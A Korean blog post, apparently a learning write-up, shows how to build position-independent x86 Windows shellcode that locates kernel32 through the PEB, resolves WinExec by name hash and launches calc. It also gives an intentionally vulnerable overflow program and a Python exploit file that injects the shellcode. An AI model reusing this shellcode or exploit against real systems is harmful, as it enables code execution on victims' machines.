Sechack
직접 구현해본 Universal Shellcode x86 본문
맨날 워게임이랑 CTF문제만 풀면서 포너블을 ELF파일 한정으로 접해봤는데 이번에 김현민 님이 쓰신
"윈도우 시스템 해킹 가이드 버그헌팅과 익스플로잇" 이라는 책을 사서 처음 윈도우 포너블을 접해보았다.
Stack buffer overflow를 이용한 공격 방법은 ELF익스랑 크게 다르지 않았다. 책 안보고 혼자서 해봐도 될정도로 매우 유사하다. 하지만 buffer overflow공격에 필요한 shellcode를 만드는 과정이 리눅스와는 많이 달라서 흥미로웠다.
Universal Shellcode가 필요한 이유는 쉘코드 상에서 WinAPI함수들을 호출해서 사용하려면 해당 함수들의 주소를 알아야 한다. 하지만 Windows7 이상의 버전에서는 WinAPI함수들이 포함되어있는 kernel32.dll의 상위 2byte가 부팅할때마다 매번 바뀌기 때문에 함수 주소를 하드코딩해서 사용할 수 없고 ELF exploit을 할때 libc leak하고 offset더해서 함수주소 구했듯이 쉘코드 상에서 kernel32.dll의 base주소를 구하고 kernel32.dll의 PE header를 읽어서 원하는 함수의 offset을 구한 뒤에 base + offset을 해서 원하는 함수의 주소를 구하는 과정을 필요로 한다. 일단 이번 쉘코드의 목표는 익스플로잇 가능 여부를 증명할때 흔히들 띄우는 계산기를 띄우는 Universal Shellcode를 32비트 전용으로 작성해볼것이다.
그렇기 때문에 쉘코드의 최종 목표는 WinExec("calc"); 가 된다.
먼저 kernel32.dll의 base주소를 구하는 과정이다. 프로세스 정보를 저장하고 있는 구조체인 PEB구조체를 참조해서 kernel32.dll의 base주소를 구할건데 어떻게 참조해서 kernel32.dll의 base주소를 구하는지 아무 프로그램을(32비트) windbg로 열어봐서 구조체를 하나하나 참조해보면서 kernel32.dll의 base주소를 어떻게 구하는지 알아볼것이다. 나는 내가 예전에 Windows API로 개발한 연락처 프로그램을 열어서 살펴보았다.
windbg로 프로그램 하나를 열고 !dlls명령어를 쳐봤을때 결과이다. 제일먼저 로딩된 모듈은 우리가 실행한 exe파일인것을 알 수 있다. 그런다음 ntdll.dll이 로드가 된다. ntdll.dll은 유저모드에서 커널모드로 요청하는 작업을 수행한다. ntdll.dll덕분에 시스템 자원에 접근할 수 있다. 그리고 ntdll.dll이 로드된 다음에 kernel32.dll모듈이 로드되는것을 볼 수 있다. 앞에서도 말했듯이 우리가 원하는 함수인 WinExec함수도 kernel32.dll내부에 있다. 그러면 이제 kernel32.dll의 base주소를 어떻게 구하는지 진짜로 과정을 하나하나 알아보도록 하겠다.
TEB구조체는 쓰레드 정보를 담고있는 구조체이다. !teb 명령어를 이용해서 TEB구조체를 보면 현재 TEB구조체의 주소는 0x7ec0e000인걸 알 수 있다. 이제 dt _TEB 0x7ec0e000 명령어로 해당 주소를 보면
나오는 값들이 너무 많은데 다 볼 필요 없이 대충 초반부분만 보면 TEB+0x30부분에 PEB구조체의 주소가 있는것을 볼 수 있다. TEB구조체는 fs레지스터를 통해서 접근이 가능하므로 fs:[0x30] 이런식으로 참조해서 PEB구조체의 주소를 구해올 수 있다. dt _PEB 0x7ec06000 명령어를 사용해서 PEB구조체를 살펴보면
PEB+0xc에서 PEB_LDR_DATA의 주소값을 확인할 수 있다. 이제 PEB_LDR_DATA구조체를 살펴보겠다.
InMemoryOrderModuleList를 보면 모듈들의 _LDR_DATA_TABLE_ENTRY + 8의 주소가 double linked list형태로 저장되어있다. 왜 + 8이냐하면 InMemoryOrderModuleList의 멤버를 가리키고 있기 때문이다.
dt _LDR_DATA_TABLE_ENTRY 0xbb40f0-8 명령어로 첫 멤버 이름을 보면 InLoadOrderLinks이다. 그리고 두번째 멤버 이름을 보면 InMemoryOrderLinks이다. InMemoryOrderLinks의 주소를 가리키고 있었기 때문에 8을 빼줌으로써 정상적으로 구조체를 볼 수 있다. 첫번째로 로드된 모듈은 아까 !dlls명령어로 봤듯이 실행한 exe파일임을 알 수 있다.
dt _LDR_DATA_TABLE_ENTRY 0xbb3ff0-8 명령어로 2번째 멤버를 보면 2번째 로드된 모듈은 ntdll.dll임을 알 수 있다.
마지막으로 dt _LDR_DATA_TABLE_ENTRY 0xbb44d0-8 명령어로 한번만 더 따라가보면 우리가 그렇게 원하던 kernel32.dll이 나온다. kernel32.dll은 3번째로 로드된 모듈임을 알 수 있다. 그리고 +0x18 offset에 우리가 원하던 kernel32.dll의 base주소가 있는것을 볼 수 있다. 결론적으로는 약간의 포인터 연산만 거치면 kernel32.dll의 주소를 구할 수 있다.
kernel32.dll의 base주소를 얻는 과정을 정리하자면
fs레지스터를 이용해서 fs+0x30역참조해서 PEB주소 얻어오기 -> PEB+0xc 참조해서 PEB_LDR_DATA 구조체 주소 얻어오기 -> PEB_LDR_DATA구조체에 InMemoryOrderModuleList멤버가 double linked list형태로 로드된 모듈의 LDR_DATA_TABLE_ENTRY + 8 주소를 저장하고 있으니까 역참조 하면서 kernel32.dll의 LDR_DATA_TABLE_ENTRY구조체의 주소 얻어오기 -> kernel32.dll의 LDR_DATA_TABLE_ENTRY주소를 얻어왔으니 offset더해서 역참조해서 kernel32.dll의 base주소 얻어오기 이다.
xor edx, edx
mov dl, 0x30
mov eax, fs:[edx]
mov eax, [eax+0xc]
mov ebx, [eax+0x14]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx+0x10] //kernel32.dll base
이것을 어셈블리어로 구현해보면 위와 같다. 마지막에 0x10을 더해준 이유는 InMemoryOrderModuleList멤버를 참조하니까 결과적으로는 LDR_DATA_TABLE_ENTRY + 8의 주소가 담기게 되고 0x10을 더해주면 LDR_DATA_TABLE_ENTRY + 0x18이 되니까 base주소를 얻어올 수 있는것이다.
kernel32.dll의 base주소를 얻었으니까 이제 함수 offset을 얻어와야 한다. 이제부터는 kernel32.dll의 PE header를 봐야한다.
PEview로 kernel32.dll의 PE header를 보면 IMAGE_NT_HEADERS가 있다. IMAGE_NT_HEADES의 offset은 0xf0이다. 그리고 IMAGE_NT_HEADERS + 0x18 즉 0x108 offset에 IMAGE_OPTIONAL_HEADER가 존재하는것을 알 수 있다. 그리고
IMAGE_OPTIONAL_HEADER + 0x68 즉 0x168의 offset에 IMAGE_EXPORT_DIRECTORY가 존재하는것을 알 수 있다.
kernel32.dll의 base주소가 kernel32.dll의 시작이니까 kernel32.dll base + 0x168을 역참조 한다면 IMAGE_EXPORT_DIRECTORY의 offset을 구할 수 있다. PEview만으로는 잘 와닫지 않는다면 windbg랑 같이 보는걸 추천한다.
IMAGE_EXPORT_DIRECTORY의 offset을 구했으면 kernel32.dll의 base주소에 offset을 더하면 실제 IMAGE_EXPORT_DIRECTORY의 주소가 된다. IMAGE_EXPORT_DIRECTORY + 0x1c위치에 Address Table이 있고
IMAGE_EXPORT_DIRECTORY + 0x20위치에 Name Pointer Table이 있고 IMAGE_EXPORT_DIRECTORY + 0x24의 위치에는 Ordinal Table이 있다. 따라서 각각의 offset을 역참조 한다면 3개의 Table의 실제 주소를 구해올 수 있다.
mov edx, ebx
add dx, 0x168
mov edi, edx
mov ecx, [edi]
add ecx, ebx //IMAGE_OPTIONAL_HEADER
mov edx, [ecx+0x1c]
add edx, ebx //Address Table
mov edi, [ecx+0x20]
add edi, ebx //Name Pointer Table
mov esi, [ecx+0x24]
add esi, ebx //Ordinal Table
3개의 Table들의 주소를 구해오는 과정을 어셈블리어로 짜보면 위와 같다. 이 3개의 Table들은 함수의 offset을 구해오는데 매우 중요한 역할을 한다.
먼저 Name Pointer Table은 각각 함수 이름을 저장하고 있다. 우리가 호출하려는 함수는 WinExec이므로 이 테이블에서 인덱스 늘려가면서 하나하나 문자열을 비교하면서 WinExec함수의 인덱스를 찾아야한다. 하지만 그냥 비교하면 너무 비효율적이므로 함수 이름의 각각의 아스키 값들을 더한 함수 해시를 이용해서 비교를 하자. 코드도 짧아지고 좀 더 효율적으로 비교가 가능하다. 단점이라면 asdf, fdsa같이 이름은 다른데 해시값이 같은 함수가 있을수도 있다. 이럴경우 충돌이 일어날것 같긴 한데 WinExec호출할때는 충돌 안일어나니까 그냥 해시 쓰자. 충돌 일어나면 상황에 맞게 어셈좀 바꿔주면 된다.
def gethash(s):
result = 0
for i in range(len(s)):
result += ord(s[i])
return result
print(hex(gethash("WinExec")))
print(hex(gethash("ExitProcess")))
함수 해시는 간단하게 python으로 구해주면 된다.
Name Pointer Table에서 해당 함수 이름이 있는 인덱스를 구했다면 이제 Ordinal Table에서 해당 인덱스의 서수를 확인해야 한다. 왜 굳이 Ordinal Table을 거치냐하면 Name Pointer Table과 Address Table의 인덱스가 같지 않을 수 있기 때문이다. Ordinal Table에서 서수 값을 확인했으면 이제 Address Table에서 해당 서수에 해당하는 함수 offset을 확인하면 된다.
Address Table을 보면 함수의 offset이 저장되어있는것을 볼 수 있다. 사진을 보면 우리가 호출하고싶은 WinExec의 offset도 보인다. 서수까지 구했으니까 Address Table에서 이제 함수 offset가져오고 앞서 구한 kernel32.dll의 base주소에 더해주면 실제 함수 주소가 구해진다.
find_addr:
xor ecx, ecx
dec ecx
get_name:
inc ecx
xor edx, edx
mov esi, [esp+0x8]
lea esi, [esi+ecx*4]
lodsd
add eax, [esp+0x18]
mov esi, eax
loop_hash:
mov eax, esi
xor eax, eax
lodsb
add edx, eax
test al, al
jnz loop_hash
cmp edx, [esp+0x4]
jne get_name
mov edi, [esp+0xc]
xor edx, edx
mov dx, [edi+ecx*2]
mov esi, [esp+0x1c]
mov esi, [esi+edx*4]
add esi, [esp+0x18]
mov eax, esi
ret
pushad
xor edi, edi
mov di, 0x2b3 //WinExec hash
push edi
call find_addr
함수 실제 주소를 구해오는 함수를 구현하고 호출하는 어셈블리어는 위와 같이 구현해봤다. lodsd랑 lodsb가 사기적인 instruction인것같다. ㅋㅋ
이제 함수의 실제 주소까지 구해왔으니까 그냥 인자 잘 줘서 호출하면 된다.
#include <stdio.h>
#include <Windows.h>
int main(void)
{
printf("shellcode");
__asm {
jmp start
find_addr:
xor ecx, ecx
dec ecx
get_name:
inc ecx
xor edx, edx
mov esi, [esp+0x8]
lea esi, [esi+ecx*4]
lodsd
add eax, [esp+0x18]
mov esi, eax
loop_hash:
mov eax, esi
xor eax, eax
lodsb
add edx, eax
test al, al
jnz loop_hash
cmp edx, [esp+0x4]
jne get_name
mov edi, [esp+0xc]
xor edx, edx
mov dx, [edi+ecx*2]
mov esi, [esp+0x1c]
mov esi, [esi+edx*4]
add esi, [esp+0x18]
mov eax, esi
ret
start:
xor edx, edx
mov dl, 0x30
mov eax, fs:[edx]
mov eax, [eax+0xc]
mov ebx, [eax+0x14]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx+0x10] //kernel32.dll base
mov edx, ebx
add dx, 0x168
mov edi, edx
mov ecx, [edi]
add ecx, ebx //IMAGE_OPTIONAL_HEADER
mov edx, [ecx+0x1c]
add edx, ebx //Address Table
mov edi, [ecx+0x20]
add edi, ebx //Name Pointer Table
mov esi, [ecx+0x24]
add esi, ebx //Ordinal Table
pushad
xor edi, edi
mov di, 0x2b3 //WinExec hash
push edi
call find_addr
mov edi, 0x636c6163
push edi
xor edx, edx
mov [esp+0x4], edx
push esp
call eax
add sp, 4
popad
pushad
xor edi, edi
mov di, 0x479
push edi
call find_addr
xor edx, edx
push edx
call eax
}
return 0;
}
완성된 Universal Shellcode x86이다. 마지막에 ExitProcess까지 호출해서 깔끔하게 마무리했다. 처음에는 책에있는거 따라서 해보면서 어떤식으로 구현하는지 익혔고 그다음에는 혼자서 직접 짜봤는데 직접 짠게 위에 있는 어셈블리어이다.
NULL은 대부분의 함수에서 문자열의 끝으로 인식하므로 opcode에 NULL이 들어가지 않도록 신경써서 만들었다. 개행문자나 Tab같은것도 없애줬다.
실행해보면 정상적으로 계산기가 뜨는것을 볼 수 있다. 이제 이 어셈블리어의 opcode를 덤프떠서 진짜 쉘코드를 만들어보자.
프로젝트 -> 속성 -> 링커 -> 고급 -> DEP(데이터 실행 방지)를 아니요 라고 바꿔주고 빌드해야 잘 된다.
이제 이 쉘코드가 실전에서도 잘 먹히는지 테스트 하기 위해서 간단한 Stack buffer overflow예제를 하나 만들자.
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void)
{
FILE *fp = fopen("./poc.poc", "rb");
char data[500];
memset(data, 0, 100);
fgets(data, 1000, fp);
printf("%s", data);
fclose(fp);
return 0;
}
간단하게 이런식으로 파일을 읽는 과정에서 overflow가 날 수 있는 프로그램 하나 만들고
프로젝트 -> 속성 -> 링커 -> 고급 -> DEP(데이터 실행 방지)를 아니요로 설정
프로젝트 -> 속성 -> 링커 -> 고급 -> 임의 기준 주소를 아니요로 설정
프로젝트 속성 -> C/C++ -> 코드 생성 -> 보안 검사 -> 보안 검사 사용 안 함으로 설정
프로젝트 속성 -> 링커 -> 명령줄 -> 추가 옵션(D) -> /SAFESEH:NO 추가 작성
이렇게 보호기법들을 싹다 해제하고 컴파일을 한다. 그리고 익스플로잇은
f = open("poc.poc", "wb")
shellcode = b"\x90"*90
shellcode += b"\xEB\x3D\x33\xC9\x49\x41\x33\xD2\x8B\x74\x24\x08"
shellcode += b"\x8D\x34\x8E\xAD\x03\x44\x24\x18\x8B\xF0\x8B\xC6\x33\xC0\xAC\x03\xD0"
shellcode += b"\x84\xC0\x75\xF5\x3B\x54\x24\x04\x75\xDE\x8B\x7C\x24\x0C\x33\xD2\x66"
shellcode += b"\x8B\x14\x4F\x8B\x74\x24\x1C\x8B\x34\x96\x03\x74\x24\x18\x8B\xC6\xC3"
shellcode += b"\x33\xD2\xB2\x30\x64\x8B\x02\x8B\x40\x0C\x8B\x58\x14\x8B\x1B\x8B\x1B"
shellcode += b"\x8B\x5B\x10\x8B\xD3\x66\x81\xC2\x68\x01\x8B\xFA\x8B\x0F\x03\xCB\x8B"
shellcode += b"\x51\x1C\x03\xD3\x8B\x79\x20\x03\xFB\x8B\x71\x24\x03\xF3\x60\x33\xFF"
shellcode += b"\x66\xBF\xB3\x02\x57\xE8\x86\xFF\xFF\xFF\xBF\x63\x61\x6C\x63\x57\x33"
shellcode += b"\xD2\x89\x54\x24\x04\x54\xFF\xD0\x66\x83\xC4\x04\x61\x60\x33\xFF\x66"
shellcode += b"\xBF\x79\x04\x57\xE8\x65\xFF\xFF\xFF\x33\xD2\x52\xFF\xD0"
shellcode += b"\x90"*90
pay = shellcode
pay += b"\x90"*(504 - len(shellcode)) #dummy
pay += b"\x7c\xfd\x18" #stack address
f.write(pay)
이런식으로 짠다. 어차피 보호기법들 싹다 해제해서 스택쿠키도 없고 스택주소 안바뀌니까 주소 하드코딩해도 된다. DEP도 안걸려있어서 스택에서 쉘코드도 실행된다. 정확하게 쉘코드 들어가는 주소 찾고 아다리 맞추기는 귀찮아서 nop좀 넣고 대충 nop중간에 떨궜다.
쉘코드가 정상적으로 잘 동작하는것을 볼 수 있다. ExitProcess함수는 x32dbg로 까봤을때 esp아다리가 안맞아서 WinExec호출되고나서 ExitProcess실행되기 전에 터지는데 뭐 계산기 띄웠으니 그려러니 하고 넘어가자.
https://github.com/Sechack06/shellcode/blob/main/universal_shellcode_x86.c
이번에 구현해본 Universal Shellcode x86은 github에도 올려두었다.